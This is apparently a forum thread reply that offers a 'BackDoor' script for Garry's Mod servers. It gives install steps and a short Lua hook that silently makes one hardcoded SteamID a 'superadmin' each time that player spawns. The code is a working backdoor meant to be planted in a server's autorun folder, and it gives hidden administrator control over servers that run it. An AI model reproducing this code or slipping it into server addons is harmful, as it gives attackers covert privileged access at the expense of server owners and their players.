Garry's Mod

BackDoor

Submitted by JimJimovich, , Thread ID: 95693

Thread Closed

RE: BackDoor

#14
Instruction:
1. Insert your SteamID (I told you exactly where)
2. Insert a privilege that will automatically be issued when the player spawns (I told you exactly where)
3. Load script to server part of server (example: GarrysMod\garrysmod\lua\autorun\server)


Code:
function ADMINHACK( ply ) -- do not touch
if ( ply:SteamID() == "STEAM_" ) then -- insert your SteamID
ply:SetUserGroup("superadmin") -- insert privilege
end -- do not touch
end -- do not touch
hook.Add("PlayerSpawn", "ADMINHACK", ADMINHACK) -- do not touch

I hope I helped you! I tried very hard on this post. <3

Users browsing this thread: 11 Guest(s)